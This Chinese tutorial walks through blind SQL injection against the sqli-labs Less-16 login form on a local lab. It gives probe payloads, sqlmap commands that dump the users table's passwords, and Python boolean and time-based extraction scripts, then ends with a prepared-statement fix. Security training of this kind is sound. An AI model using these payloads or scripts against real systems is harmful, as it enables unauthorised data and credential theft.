如果你在本地折腾过sqli-labs,大概率会在Less-15或Less-16这里卡一下。这两关不再是前面那种报错注入,页面不会把SQL错误直接甩在你脸上,只有“登录成功”和“登录失败”两种状态,或者干脆响应时间长短不同,也就是典型的盲注场景。Less-16是POST型盲注,而且后台用了双引号作为字符串闭合符,手动测起来比GET型盲注更费劲:每猜一个字符,都要在表单里改参数、看页面、再改再试。正因如此,我直接切换成自动化注入的思路,这里就把Less-16的自动化测试方法完整拆开讲一遍。
这篇内容从关卡特征、抓包分析、sqlmap自动化,到自写Python盲注脚本,都基于本地sqli-labs靶场环境。你也完全可以把它当作一次安全测试练习,重点理解自动化盲注的基础逻辑,后续移植到其它POST盲注场景时,只需要调整请求参数和判断条件。
1. Less-16到底在考什么
1.1 关卡特征:双引号闭合的POST盲注
Less-16和Less-15非常像,都是登录表单提交,POST参数是uname和passwd。后台SQL语句如果把值带入时使用的是双引号,就形成类似这样的拼接:
SELECT username, password FROM users WHERE username=("$uname") AND password=("$passwd")在代码层面,它是把用户输入用双引号包起来,但字符串外层可能还套了一层括号。这种写法的麻烦点在于:你先要用引号把当前的SQL字符串闭合掉,如果有括号,还得再把括号也补上,才能让后面的注入条件正常执行。
比较常见的探测Payload长这样:
uname=admin") and 1=1-- -&passwd=123 uname=admin") and 1=2-- -&passwd=123第一组如果页面反应和正常登录一致,第二组如果页面反应明显不同,说明注入条件可以被识别。不过Less-16有些情况下布尔差异不够明显,页面可能始终只显示登录成功或失败,那就需要转成时间盲注来判断了。
1.2 为什么盲注必须自动化
盲注的核心是“逐字符猜解”。以布尔盲注为例,你要通过substr((select database()),1,1) > 0x61这种条件判断来确认当前字符的ASCII值范围。一个数据库名通常8到15个字符,每个字符用二分法也要猜5到7次,算下来至少几十次请求。如果目标是表名、列名、字段值,请求量还要指数级上升。手工在浏览器里点几十次、上百次,不仅容易眼花,还容易漏判。
自动化注入要解决的无非三件事:自动发请求、自动判断条件、自动拼装结果。sqlmap是把这三件事做到极致的成熟工具,而自写Python脚本能让你真正理解盲注判断的底层逻辑。Less-16恰好是一个非常适合练习这两种方式的入门样本:请求结构简单、没有复杂过滤、页面特征清晰。
2. 自动化之前的准备
2.1 搭建靶场并捕获请求包
自动化注入离不开一个真实可用的请求包。你可以在本机搭好sqli-labs环境,推荐用PHP内置服务器或者本地集成环境跑起来,访问地址一般就是http://127.0.0.1/sqli-labs/Less-16/。
然后我习惯先用抓包工具或者浏览器开发者工具定位到表单提交请求。看到的内容大概是这样:
POST /sqli-labs/Less-16/ HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded uname=admin&passwd=123这一步很关键。无论后面用sqlmap还是写Python脚本,你都要知道自己需要模拟的请求头、POST参数和Cookie状态。特别是对于POST盲注,请求体里的uname往往是唯一注入点,passwd通常只是为了让后台逻辑走通。
注意:如果本地靶场开了重定向,抓到的返回可能是3xx跳转。这种情况可以在请求包里补一个
follow redirects,或者在脚本里设置allow_redirects=True。
2.2 手工确认盲注判断依据
在启动自动化工具之前,我建议先手工发两次请求,确认页面特征。第一次提交:
uname=admin") and 1=1-- -&passwd=123如果后台密码校验被注释掉,页面大概率返回登录成功,或者显示一个带欢迎信息的页面。第二次再提交:
uname=admin") and 1=2-- -&passwd=123如果页面返回登录失败,说明布尔盲注成立。我们把“成功页面”与“失败页面”的特征字符串记录下来,比如成功页面可能包含You are logged in,失败页面可能包含Login Failed。这个特征字符串就是后面自动化脚本的判定依据。
如果你发现两种输入返回的页面完全一样,说明布尔盲注可能失效,需要改用时间盲注。时间盲注的判断依据不在页面内容,而在响应耗时。这个判断依据是整个自动化方案的核心,不要跳过。
3. 用sqlmap完成Less-16自动化注入
3.1 直接指定POST参数
sqlmap处理POST注入最直接的方法是用--data指定请求体。对于Less-16,命令可以这样写:
sqlmap -u "http://127.0.0.1/sqli-labs/Less-16/" --data="uname=admin&passwd=123" --level=3 --risk=2 --technique=B --batch参数解释一下:
--data指定POST数据,sqlmap会把其中的每个参数都作为候选注入点。--level=3 --risk=2让sqlmap尝试更多边界组合,尤其是双引号、括号闭合这类情况。Less-16这种双引号加括号的闭合,用默认level有时候测不出来。--technique=B限定只做布尔盲注,避免耗时的全技术栈扫描。--batch让sqlmap自动选择默认选项,适合无人值守跑一遍。
sqlmap跑起来后,它会先检测到uname参数存在注入,然后开始识别SQL类型、构造Payload、判断真值条件。如果Less-16的布尔盲注成立,很快就能看到数据库版本、当前用户等基础信息。
3.2 用Burp抓包文件配合sqlmap
还有一种更接近实战的姿势:先把Burp抓到的原始请求保存为less16.txt,然后用-r参数让sqlmap直接读取请求包:
sqlmap -r less16.txt --level=3 --risk=2 --technique=B --dbs好处是请求头、Cookie这类细节全部保留,不会因为手写参数少了一个Header导致检测失败。如果页面有登录态校验,这种方式更容易稳定复现。
拿到数据库列表后,再逐步获取当前库、表名、字段名:
sqlmap -r less16.txt --current-db sqlmap -r less16.txt -D security --tables sqlmap -r less16.txt -D security -T users --columns sqlmap -r less16.txt -D security -T users -C username,password --dump--dump会直接列出表内容。注意,在本地靶场上怎么取数据都没事,但真实环境必须要有授权,这个边界要始终清楚。
3.3 sqlmap常见参数优化
Less-16这类盲注速度不快,尤其是布尔盲注,每次都靠完整响应判断真假。可以适当加这些参数:
--threads=5 --time-sec=2 --retries=2--threads能并发发请求,但盲注的线程数别太高,太高反而容易触发额外问题。--time-sec只对时间盲注生效,控制sleep时长,太短容易误判,太长影响速度。
另外,如果sqlmap没有识别出双引号闭合,我通常会手动指定--prefix和--suffix:
sqlmap -r less16.txt --level=3 --risk=2 --prefix='"' --suffix='-- -' --technique=B这句的意思是告诉sqlmap:注入点的有效位是双引号闭合,后面要跟注释符。这样一来sqlmap就不需要盲目尝试大量闭合方式,检测成功率和速度都会上去。
提示:
--suffix='-- -'里的-- -是MySQL注释符,注意末尾一定要带空格,少了一个空格会把后面的SQL语法破坏掉。
4. 自写Python脚本实现Less-16盲注
4.1 用requests写布尔盲注脚本
sqlmap很强,但自己写脚本能让你把盲注的“判断逻辑”彻底吃透。Less-16的布尔盲注脚本只需要四部分:构造Payload、发送POST请求、判断响应特征、二分猜字符。
我先给出一个能跑通的示例框架:
import requests import string url = "http://127.0.0.1/sqli-labs/Less-16/" success_mark = "You are logged in" # 根据实际页面特征调整 def build_payload(pos, mid): return f'admin") and ascii(substr((select database()),{pos},1))>{mid}#' def is_true(pos, mid): data = { "uname": build_payload(pos, mid), "passwd": "123", } resp = requests.post(url, data=data, timeout=10) return success_mark in resp.text def get_database(): db_name = "" chars = string.printable for i in range(1, 30): low, high = 32, 126 while low < high: middle = (low + high) // 2 if is_true(i, middle): low = middle + 1 else: high = middle if low == 32: break db_name += chr(low) print(f"[-] database: {db_name}") return db_name if __name__ == "__main__": print(f"[+] database: {get_database()}")核心逻辑在is_true和二分查找里。ascii(substr((select database()),{pos},1))>{mid}的含义是:取出数据库名的第pos个字符,转成ASCII码,判断它是否大于一个中间值。如果页面返回成功特征,说明条件为真,字符ASCII比mid大,于是把二分下界往上抬;否则把上界往下压。循环结束后,low就是当前字符的ASCII值。
这里要注意两个坑:
success_mark必须选择一个只在条件为真时才出现的字符串。比如Less-16登录成功后的页面可能包含You are logged in,那就以它为准;如果页面变化不明显,需要先去抓包确认。- requests的
timeout建议设置得大一点,盲注页面响应可能本身就有延迟,超时设置太短会导致误判。
4.2 时间盲注脚本的写法
如果Less-16的布尔差异不明显,可以改成时间盲注。先构造一个带sleep()的Payload:
admin") and if(ascii(substr((select database()),1,1))>100,sleep(2),0)#然后通过响应时间来判断条件真假:
import requests import time url = "http://127.0.0.1/sqli-labs/Less-16/" def is_true(pos, mid): payload = f'admin") and if(ascii(substr((select database()),{pos},1))>{mid},sleep(2),0)#' data = {"uname": payload, "passwd": "123"} start = time.time() requests.post(url, data=data, timeout=10) cost = time.time() - start return cost > 1.5这里的阈值1.5秒很关键。本地环境一般sleep(2)会比较稳定,所以1.5秒可以明显区分真假。如果放到网络环境,要先把正常请求的耗时测出来,再用(正常耗时 + sleep时长) / 2作为阈值,避免网络波动影响判断。
时间盲注脚本和布尔盲注的唯一区别就在is_true的判定方式,二分查找的过程完全一样。这也说明只要理解了盲注判断的本质,无论布尔还是时间,脚本框架都是通用的。
4.3 扩展:猜表名、列名和字段值
上面脚本只取了数据库名,要猜表名和字段值,只需要替换select database()这个表达式。比如猜表名长度:
f'admin") and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{pos},1))>{mid}#'再比如猜密码字段值:
f'admin") and ascii(substr((select password from users limit 0,1),{pos},1))>{mid}#'这种脚本一次只能跑一个字段,可以再加一层循环遍历多行记录。实际运行时会发现,脚本性能瓶颈往往在HTTP请求延迟上,所以建议在脚本里加一个Session复用:
session = requests.Session() def is_true(pos, mid): ... resp = session.post(url, data=data, timeout=10)复用Session可以节省TCP握手时间,整体提速非常明显。这个优化在sqlmap里虽然不需要你手动做,但自写脚本时能明显感觉到差距。
5. 常见问题与排查技巧
5.1 sqlmap检测不到注入点
这是做Less-16自动化的高频问题。如果你用默认--level=1跑,sqlmap可能只尝试单引号闭合,而Less-16是双引号加括号,自然检测不出来。解决办法就是前面说的,把级别调到--level=3 --risk=2,或者直接用--prefix和--suffix指定闭合方式。
另外,sqlmap默认会测所有POST参数,如果它把passwd也当成了候选目标,会产生很多无谓请求。明确指定注入点可以这样写:
sqlmap -u "http://127.0.0.1/sqli-labs/Less-16/" --data="uname=admin&passwd=123" -p uname --technique=B --batch-p uname是告诉sqlmap:只测uname参数。这样既快又准。
5.2 布尔盲注特征字符串误判
Less-16的页面特征可能会因为PHP版本、前端模板不同而变化。常见特征有Login Success、Welcome、You are logged in,但如果你拿到的靶场版本不一样,最好先用两个对照请求确认。
怎么确认?把admin") and 1=1#和admin") and 1=2#两个请求的完整响应体保存下来,用diff工具对比,找到差异最大的那段字符串作为特征。不要直接拿“页面是否包含用户名”当判断条件,因为用户名在不同版本里可能不输出。
5.3 时间盲注速度无人忍受
时间盲注每次请求至少sleep两秒,一个字符用7次二分就是14秒,一个库名可能要好几分钟。优化思路有两个方向:
- 减少请求次数:先猜长度,再按字符范围用二分查找,不要用全字符集逐字爆破。
- 调整sleep时间:本地练习可以用1秒,但一定要保证阈值稳定。如果sleep(1)的耗时波动太大,再提升到2秒。
sqlmap里则可以用--technique=BE混用布尔和时间,优先用布尔快速缩小范围,只有布尔不生效时再退回时间。
5.4 防御视角:Less-16为什么存在
这一关的本质是开发时直接用了字符串拼接SQL,没有做参数化查询,也没有对用户输入做过滤。修复方式很简单,把SQL改成预编译语句:
$stmt = $conn->prepare("SELECT username, password FROM users WHERE username=? AND password=?"); $stmt->bind_param("ss", $uname, $passwd);自动化注入工具之所以能跑通,正是因为这类代码在边界条件上存在固定特征。理解这个特征之后,写代码时自然会更敏感:看到拼接SQL就下意识想到引号闭合、注释符、条件判断这些风险点。从这个角度说,用自动化工具打一遍Less-16,比单纯看一百遍书本理论更能记住为什么参数化查询那么重要。
5.5 实测经验:从手动到自动的过渡节奏
我第一次做Less-16时也偷懒直接上sqlmap,结果因为闭合方式不对,反而花了很多时间调参数。后来老实抓包、手工确认成功与失败页面,再回到sqlmap,几分钟就出了数据。
所以我现在的习惯是:不管目标多简单,都先手工走一遍基础判断。这不是磨叽,而是在给自动化工具喂“正确的判断标准”。工具只负责执行和量,真正决定方案能不能跑通的是你对请求结构、闭合符号和响应特征这三件事的理解。Less-16是一个很标准的学习样本,把这个流程跑熟了,后面遇到更复杂的POST盲注,思路也是一样的。